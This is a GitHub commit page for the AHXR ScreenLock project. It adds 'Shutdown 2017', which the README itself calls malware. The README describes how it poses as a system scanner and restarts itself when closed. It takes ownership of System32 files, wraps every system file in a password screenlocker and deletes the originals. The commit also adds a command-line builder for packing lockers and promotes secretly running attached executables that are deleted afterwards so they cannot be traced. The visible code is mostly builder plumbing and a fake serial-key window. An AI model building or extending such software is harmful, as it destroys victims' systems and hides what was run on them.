Skip to content

Commit

Permalink
1.2
Browse files Browse the repository at this point in the history
  • Loading branch information
AHXR committed Oct 27, 2017
1 parent 6119bf8 commit 2b65fa5
Show file tree
Hide file tree
Showing 21 changed files with 1,336 additions and 8 deletions.
7 changes: 7 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,10 @@
1.2

- Code cleanup
- AHXRBuilder can now generate a builder without going through the GUI.
- Web version updated for 1.2 update.
- Shutdown 2017 added.

1.1 (10/24/2017)

- You can now attach .exe files to your lockdown. The file will automatically execute before the screenlock is active. This will allow you to run something secretly without the client knowing.
Expand Down
23 changes: 22 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,4 +19,25 @@ Starting from the 1.1 update, you are now allowed to pack an .exe file into the
Basically, it will pack the other .exe file into the locker and extract it when the locker is run. Then the extracted executable will be run in the background. If the executable closes on it's own or
if the client enters their password, the extracted file will be deleted. This will prevent any backtracing of what was run. (Not available on web version atm)

In the releases, I've included the builder, the empty screenlock exe (don't run) and a test file. The password to the test executable is "test". Use this at your own risk.
In the releases, I've included the builder, the empty screenlock exe (don't run) and a test file. The password to the test executable is "test". Use this at your own risk.

# AXHR ScreenLock - Shutdown 2017

<p align="center">
<img src="https://i.imgur.com/aaClNNk.png" />
</p>

---

This is Shutdown 2017. A malware that works with AHXRScreenlock. This software only works on Windows and requires .net framework to be run. This program was not made for malicious intent, but for educational purposes.
If you choose to use this f or another intent, you're on your own with the legal action that may occur.

When run, this software will hint the user that their computer requires scanning. If the user attempts to close the GUI, it will still automatically run in the background like a bug. It will
then scan on it's own. This process is somewhat silent, but it does begin to hog up memory and CPU as it gets deeper in the scan. If the GUI is somehow closed from another source, it will
automatically open itself back up again.

The scanning is where the damage is done. This software will go through every system file and run AHXRBuilder.exe on that file and attach the .exe to the screenlock. Then it will DELETE your old
and clean system file. Meaning, whenever you try to run a file found inside of "Windows", it will run the .exe, however it will lock your screen meanwhile. For the sake of security and educational
purposes, I set the password to simply "hi". If you want to change the password for whatever reason, you will need to recompile the code.

The scan also goes through your System32 and SysWOW64 folder. It will forcibly take ownership of your files. I have included the malware in a separate download. Run it at your own risk.
28 changes: 27 additions & 1 deletion builder/frmMain.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@
*/
//=======================================================
#include <msclr\marshal_cppstd.h>
#include <iostream>

//#define DEBUG_MODE

Expand All @@ -35,12 +36,37 @@ std::string s_attached_p;
#include "frmMain.h"

[STAThread]
void main() {
void main(array<String^>^ args) {

#ifdef DEBUG_MODE
packLocker("AXHRLocker.exe", "hi", "basic message.");
#endif


if (args->Length >= 3) {
// For some reason I'm unable to directly use args in marshal_as (argument error)
System::String ^ s_arg_one;
System::String ^ s_arg_two;
System::String ^ s_arg_three;
System::String ^ s_arg_four;

s_arg_one = args[0];
s_arg_two = args[1];
s_arg_three = args[2];
s_arg_four = args[3];

std::string s_file_name = marshal_as< std::string >(s_arg_one);
//std::cout << s_file_name << " | " << marshal_as< std::string >(s_arg_two) << " | " << marshal_as< std::string >(s_arg_three) << " | " << marshal_as< std::string >(s_arg_four) << std::endl;

buildNewLocker(s_file_name);
packLocker(s_file_name, marshal_as< std::string >(s_arg_two), marshal_as< std::string >(s_arg_three));

if (args->Length == 4) {
s_arg_four = args[3];
attachExecutable(s_file_name, marshal_as< std::string >(s_arg_four));
}
exit(0); // Don't run GUI if we're building it like this.
}
Application::EnableVisualStyles();
Application::SetCompatibleTextRenderingDefault(false);
AHXRScreenLock::frmMain frm;
Expand Down
7 changes: 4 additions & 3 deletions locker/debug.h
Original file line number Diff line number Diff line change
Expand Up @@ -23,11 +23,12 @@
#pragma once
#include <string>

#define DUMMY_FILE "C:\\Users\\Andre\\Documents\\Visual Studio 2015\\Projects\\AHXR ScreenLock\\Debug\\Dummy.exe"
#define DUMMY_STUDIO_THIS_EXE "C:\\Users\\Andre\\Documents\\Visual Studio 2015\\Projects\\AHXR ScreenLock\\Debug\\AHXRLocker.exe"
#define DUMMY_EXE "C:\\Users\\Andre\\Documents\\Visual Studio 2015\\Projects\\AHXR ScreenLock\\calc.exe"
#define DUMMY_FILE "C:\\Users\\-\\Documents\\Visual Studio 2015\\Projects\\AHXR ScreenLock\\Debug\\Dummy.exe"
#define DUMMY_STUDIO_THIS_EXE "C:\\Users\\-\\Documents\\Visual Studio 2015\\Projects\\AHXR ScreenLock\\Debug\\AHXRLocker.exe"
#define DUMMY_EXE "C:\\Users\\-\\Documents\\Visual Studio 2015\\Projects\\AHXR ScreenLock\\calc.exe"
#define DUMMY_PASSWORD "hi"
#define DUMMY_MESSAGE "Locked out :)"
#define EMERGENCY_MODE

extern void packLocker(std::string fileName, std::string password, std::string message);
extern void attachExecutable(std::string packedFile, std::string exePath);
7 changes: 7 additions & 0 deletions locker/frmScreenLock.h
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
#pragma once
#include "debug.h"

namespace AHXRLocker {

Expand Down Expand Up @@ -109,6 +110,12 @@ namespace AHXRLocker {
}
#pragma endregion
private: System::Void btnUnlock_Click(System::Object^ sender, System::EventArgs^ e) {
#ifdef EMERGENCY_MODE
if (this->txtPassword->Text == "hi") {
exit(1);
}
#endif

comparePasswords(this->txtPassword->Text);

/*
Expand Down
2 changes: 0 additions & 2 deletions locker/readSettings.h
Original file line number Diff line number Diff line change
Expand Up @@ -22,8 +22,6 @@
//=======================================================
#define MAX_PASSWORD_SIZE 16
#define PASSWORD_HASH_LENGTH 64
#define CHARACTERS_SEEK_BACK 88
#define MAX_READING_SIZE 90
#define SEARCH_OPENER '{'
#define SEARCH_CLOSER '}'
#define ATTACH_FILE L"AHXRLocker_Attachment.exe"
Expand Down
24 changes: 24 additions & 0 deletions shutdown2017/frmCode.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
/*
@title
AHXRScreenLock
@author
AHXR (https://github.com/AHXR)
@copyright
2017
AHXRScreenLock is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
AHXRScreenLock is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with AHXRScreenLock. If not, see <http://www.gnu.org/licenses/>.
*/
//=======================================================
#include "frmCode.h"

182 changes: 182 additions & 0 deletions shutdown2017/frmCode.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,182 @@
/*
@title
AHXRScreenLock
@author
AHXR (https://github.com/AHXR)
@copyright
2017
AHXRScreenLock is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
AHXRScreenLock is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with AHXRScreenLock. If not, see <http://www.gnu.org/licenses/>.
*/
//=======================================================
#pragma once

namespace AHXRShutdown {

using namespace System;
using namespace System::ComponentModel;
using namespace System::Collections;
using namespace System::Windows::Forms;
using namespace System::Data;
using namespace System::Drawing;

/// <summary>
/// Summary for frmCode
/// </summary>
public ref class frmCode : public System::Windows::Forms::Form
{
public:
frmCode(void)
{
InitializeComponent();
//
//TODO: Add the constructor code here
//
}

protected:
/// <summary>
/// Clean up any resources being used.
/// </summary>
~frmCode()
{
if (components)
{
delete components;
}
}
private: System::Windows::Forms::Panel^ panel1;
protected:
private: System::Windows::Forms::Label^ label1;
private: System::Windows::Forms::PictureBox^ pictureBox1;
private: System::Windows::Forms::TextBox^ txtVerify;

private: System::Windows::Forms::Label^ label2;
private: System::Windows::Forms::Button^ btnEnter;

private:
/// <summary>
/// Required designer variable.
/// </summary>
System::ComponentModel::Container ^components;

#pragma region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
void InitializeComponent(void)
{
System::ComponentModel::ComponentResourceManager^ resources = (gcnew System::ComponentModel::ComponentResourceManager(frmCode::typeid));
this->panel1 = (gcnew System::Windows::Forms::Panel());
this->pictureBox1 = (gcnew System::Windows::Forms::PictureBox());
this->label1 = (gcnew System::Windows::Forms::Label());
this->txtVerify = (gcnew System::Windows::Forms::TextBox());
this->label2 = (gcnew System::Windows::Forms::Label());
this->btnEnter = (gcnew System::Windows::Forms::Button());
this->panel1->SuspendLayout();
(cli::safe_cast<System::ComponentModel::ISupportInitialize^>(this->pictureBox1))->BeginInit();
this->SuspendLayout();
//
// panel1
//
this->panel1->BackColor = System::Drawing::Color::Red;
this->panel1->Controls->Add(this->label1);
this->panel1->Controls->Add(this->pictureBox1);
this->panel1->Location = System::Drawing::Point(-4, -5);
this->panel1->Name = L"panel1";
this->panel1->Size = System::Drawing::Size(487, 42);
this->panel1->TabIndex = 0;
//
// pictureBox1
//
this->pictureBox1->Image = (cli::safe_cast<System::Drawing::Image^>(resources->GetObject(L"pictureBox1.Image")));
this->pictureBox1->Location = System::Drawing::Point(13, 11);
this->pictureBox1->Name = L"pictureBox1";
this->pictureBox1->Size = System::Drawing::Size(39, 28);
this->pictureBox1->SizeMode = System::Windows::Forms::PictureBoxSizeMode::StretchImage;
this->pictureBox1->TabIndex = 0;
this->pictureBox1->TabStop = false;
//
// label1
//
this->label1->AutoSize = true;
this->label1->Font = (gcnew System::Drawing::Font(L"Trebuchet MS", 12, System::Drawing::FontStyle::Bold, System::Drawing::GraphicsUnit::Point,
static_cast<System::Byte>(0)));
this->label1->ForeColor = System::Drawing::Color::White;
this->label1->Location = System::Drawing::Point(55, 14);
this->label1->Name = L"label1";
this->label1->Size = System::Drawing::Size(125, 22);
this->label1->TabIndex = 1;
this->label1->Text = L"Shutdown 2017";
//
// txtVerify
//
this->txtVerify->Location = System::Drawing::Point(9, 61);
this->txtVerify->Name = L"txtVerify";
this->txtVerify->Size = System::Drawing::Size(157, 20);
this->txtVerify->TabIndex = 1;
//
// label2
//
this->label2->AutoSize = true;
this->label2->Font = (gcnew System::Drawing::Font(L"Trebuchet MS", 9.75F, System::Drawing::FontStyle::Bold, System::Drawing::GraphicsUnit::Point,
static_cast<System::Byte>(0)));
this->label2->ForeColor = System::Drawing::Color::Red;
this->label2->Location = System::Drawing::Point(25, 40);
this->label2->Name = L"label2";
this->label2->Size = System::Drawing::Size(128, 18);
this->label2->TabIndex = 2;
this->label2->Text = L"ENTER SERIAL CODE";
//
// btnEnter
//
this->btnEnter->Location = System::Drawing::Point(9, 87);
this->btnEnter->Name = L"btnEnter";
this->btnEnter->Size = System::Drawing::Size(157, 23);
this->btnEnter->TabIndex = 3;
this->btnEnter->Text = L"Verify";
this->btnEnter->UseVisualStyleBackColor = true;
this->btnEnter->Click += gcnew System::EventHandler(this, &frmCode::btnEnter_Click);
//
// frmCode
//
this->AutoScaleDimensions = System::Drawing::SizeF(6, 13);
this->AutoScaleMode = System::Windows::Forms::AutoScaleMode::Font;
this->BackColor = System::Drawing::Color::White;
this->ClientSize = System::Drawing::Size(178, 122);
this->Controls->Add(this->btnEnter);
this->Controls->Add(this->label2);
this->Controls->Add(this->txtVerify);
this->Controls->Add(this->panel1);
this->Icon = (cli::safe_cast<System::Drawing::Icon^>(resources->GetObject(L"$this.Icon")));
this->MaximizeBox = false;
this->MinimizeBox = false;
this->Name = L"frmCode";
this->ShowIcon = false;
this->ShowInTaskbar = false;
this->Text = L"Shutdown 2017 - Info";
this->panel1->ResumeLayout(false);
this->panel1->PerformLayout();
(cli::safe_cast<System::ComponentModel::ISupportInitialize^>(this->pictureBox1))->EndInit();
this->ResumeLayout(false);
this->PerformLayout();

}
#pragma endregion
private: System::Void btnEnter_Click(System::Object^ sender, System::EventArgs^ e) {
MessageBox::Show("INVALID KEY", "SHUTDOWN 2017", MessageBoxButtons::OK);
}
};
}
Loading

0 comments on commit 2b65fa5

Please sign in to comment.